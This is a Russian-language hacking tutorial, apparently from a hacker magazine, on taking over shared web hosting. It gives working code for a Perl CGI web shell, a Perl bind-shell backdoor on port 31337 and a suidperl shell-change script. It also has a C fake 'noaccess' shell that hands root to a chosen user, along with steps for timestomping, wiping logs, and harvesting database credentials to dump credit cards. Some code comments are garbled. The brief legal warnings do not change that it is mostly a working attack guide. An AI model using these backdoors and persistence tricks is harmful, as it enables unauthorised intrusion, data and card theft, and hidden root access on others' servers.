Как известно, все хостинги делятся на два типа - с предоставлением шелл-аккаунта или без него (третьего не дано). В этой статье мы будем разбираться со вторым вариантом, точнее - рассмотрим пути получения шелла на этом хостинге.
Вообще, хостинги - вещь интересная. Шелл может оказаться весьма полезной фичей. Почему? Во-первых, канал. На уважающем себя хостинге канал должен быть широкий. Во-вторых, сам софт. Пень 166 для хостинга не пройдет =). Следовательно, можно запускать задачи наподобие john, требующие мощного проца. И, наконец, на некоторых хостингах имеются реверсивные виртуалхосты (которые резолвятся в обе стороны) - можно запросто поставить баунсер с отличными хостами, да еще и затрейдить доступ к нему.
Shell через CGI
Слюнки потекли? Ладно, не буду терроризировать. Приступим к делу, то бишь к получению заветного shell-аккаунта. Если есть доступ к ftp и право на выполнение cgi/php скриптов, то шанс получить шелл, а в перспективе и rootshell, резко возрастает. Итак, первый способ получения некоего www-shell'a: заливаем на ftp хостинга скрипт cmd.cgi с простым как мир содержимым:
#!/usr/bin/perl
print "Content-type: text/html "; Выводим хедер
$cmd=$ENV{QUERY_STRING}; ## Команда для выполнения - атрибут скрипта
$cmd=~s/%20/ /g; ## Заменим все unicode пробела на реальный пробел
print "
".`$cmd`.""; ## ??????? ????????? ??????? ?
тегах
Корректно заливаем скрипт (в ASCII-режиме), ставим атрибут 755 и обращаемся: http://www.victim.com/~xakep/cmd.cgi?id (впоследствии я буду называть wwwvictim.com). Результатом будет, как правило, строчка следующего вида в браузере:
uid=nobody(31337) gid=nobody(31337)
Удаленный бэкдор
Но, конечно, бродить по дирам, взламывать сервер etc не интерактивным путем - сложно и неудобно, поэтому лучше воспользоваться скриптами, которые способны открыть порт на сервере (некий backdoor) с интерактивным шеллом. Используя Perl для этой корыстной цели, пишем обычный бэкдор (код старый, но до сих пор актуальный):
#!/usr/bin/perl
$SHELL="/bin/bash -i"; ## Будем использовать интерактивный bash в качестве шелла
$LISTEN_PORT="31337"; ## Выбираем порт 31337 для бэкдора
use Socket; ## Используем модуль Socket
$protocol=getprotobyname('tcp'); ### Протокол - TCP
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket "; ### Пытаемся создать сокет-дескриптор либо завершаем скрипт с сообщением об ошибке.
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); ## Заставляем сокет поддерживать REUSE - возможность многоразового использования порта
bind (S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port "; ## Биндим порт на все адреса машины либо сообщаем об ошибке
listen (S,3) || die "Cant listen port "; ## Ждем коннектов на порт
while(1)
{
accept (CONN,S); ## При подключении создаем дескриптор с именем CONN
if(! ($pid=fork)) ## Делаем процесс потомок для коннекта с дескриптором CONN
{
die "Cannot fork" if (! defined $pid); ## В случае неудачи ответвления - завершаем работу
open STDIN,"&CONN";
open STDERR,">&CONN"; ## Перенаправляем STDIN, STDOUT и STDERR в клиент-терминал
exec $SHELL || die print CONN "Cant execute $SHELL "; ## Пытаемся запустить интерактивный шелл либо, в случае неудачи, завершаем скрипт
close CONN; ## Закрываем сокет после завершения работы шелла
exit 0; ## Корректно выходим, завершая потомок.
}
}
Закачиваем данный скрипт на ftp, а если это невозможно (дыры в софте с возможностью исполнения команд через WWW), то заливаем его с помощью программы wget в /tmp каталог. Затем выполняем командой perl /path/to/script (через cmd.cgi, естественно). Если окно с ошибкой не открывается, а браузер лишь задерживает выдачу ответа, значит, все прошло успешно, и порт открыт. Остается лишь зателнетиться на wwwvictim.com:31337 и юзать интерпретатор.
Интерпретатор, возможно, придется поднимать до нормального уровня. Ведь сколько мусора в логах... Тогда необходимо брать права рута. Если это русский хостинг, то это вряд ли прокатит. Наши админы, особенно на хостингах, хорошо заботятся о безопасности. А вот с буржуями все достаточно просто. У них ошибок на порядок больше. Но и писать здесь, каким способом взламывать буржуйский хостинг, я, естественно, не буду. Для этого надо изучать конкретный сервер, что на нем находится, потом ползать по разнообразным багтракам в поисках нужного сплоита. А возможно, придется и самому писать. Правда, в итоге может что-то и получится, но эти "самостоятельные упражнения" пресекаются УК .
Подъем инфы без рута
Что, если зарутить не удается? Дело в том, что шелл запущен под правами apache. То есть, доступны www-директории, в которых можно найти обычные скрипты. А уже в них возможно найти аккаунт, например, для базы данных mysql. Затем можно выполнять команды mysql прямо из командной строки. Например, после получения аккаунта на базу в виде root:sqlpassword мы можем просмотреть базы такой командой:
bash-2.04$ mysql -uroot -psqlpassword -e 'show databases'
И так далее. То есть реально отдампить кучу кредиток и другой важной информации. Не этого ли желает большинство людей?
Установка бэкдора
У непривилегированного пользователя, наверняка, вместо шелла стоит что-то вроде /bin/false (ну, любят хостинги делать такие шеллы юзерам). Как кто-то говорил - нет безвыходных ситуаций. В юнихоподобных осях существует полезная команда: chsh. Она позволяет сменить шелл пользователю (если у тебя есть на это права). Но вот незадача - обычно апач выполняет команды под уидом apache или nobody, то есть через WWW-скрипт, как и через открытый порт, тебе шелл не сменить. Но на помощь приходит программа suidperl (она есть практически на всех Linux & BSD). Быстренько оформив через открытый порт скриптик shell.pl, получаем код следующего содержания:
#!/usr/bin/suidperl -U
system("/usr/bin/chsh LOGIN");
где LOGIN - твой логин, сделаем его суидным командой по ФТП: site chmod 4755 shell.pl (4 - SUID, 755 - исполнение). Затем, уже интерактивно (через бэкдор), запустим его при помощи suidperl:
bash-2.04$ suidperl -U shell.pl
Suidperl - программа для исполнения суидных Perl скриптов. Получается, что права, с которыми запустится скрипт, будут: nobody (uid) и xakep (euid). То есть suidperl наследует uid, закрепленный на скрипте. При условии, что /bin/false был в /etc/shells, шелл будет сменен, и в итоге появится возможность ходить под своим логином через /bin/bash. Опция -U суидперла блокирует taint проверку скрипта, иначе скрипт ругнется на unsecure $ENV{PATH}.
Дальнейшее удержание прав
Итак, перенесемся в заветное будущее, когда на хостинге уже есть root-права. Что делать? Одним из хороших способов будет создание fake-shell, который бы пускал в систему только определенного человека. Как это осуществить? На большинстве хостингов существует свой шелл-nologin, который пишет одну единственную строку, как реакцию на подключение - No access. Воспользовавшись этим, слегка подредактируем код. Допустим, в системе есть пользователь lp (принтер сервис) с уидом 4. Ему необходимо установить свой пароль (не стоит забывать чистить логи после этого!), и шелл, как обычно - /sbin/noaccess. Вот его код в си-реализации:
int main() {
if (getuid() == 4) { /* Если уид=4 */
setuid(0);
setgid(0);
system("/bin/bash"); /* Запускаем bash из-под рута */
} else {
printf("No access "); /* Иначе пишем - No access */
}
}
Как видишь - все просто. Остается лишь откомпилить его: gcc noaccess.c -o /sbin/noaccess. Затем поставить на него атрибут +s (для setuid() нужен SUID атрибут) и сменить дату обращения к файлу командой touch -t 200101151932 /sbin/noaccess (время в формате ГГММДДЧЧММ). Рекомендуется также скачать какой-нибудь logwiper и интегрировать его в noaccess, иначе пребывание на сервере будет логироваться.
Вот и вся инфа о поднятии shell доступа на разнообразных хостинговых службах. Просто поднятие shell'а - дело без последствий, но если продолжать получать более высокие права, то это уже уголовно наказуемо (особенно при получении рут прав). Так что осмысливай свои действия!
По этой ссылке можно скачать альтернативный perl скрипт, реализующий cgi-shell. Зачем он дается? Да просто он гораздо удобнее, а публиковать его сорсы - бессмысленно.
Конечно, бэкдоры бывают не только на Perl. По адресу http://kamensk.lael.ru/forb/soft/bd.c можно скачать сишник с подробными комментариями. Компилить его придется, видимо, через www, а затем запускать оттуда же, как обычный бинарник.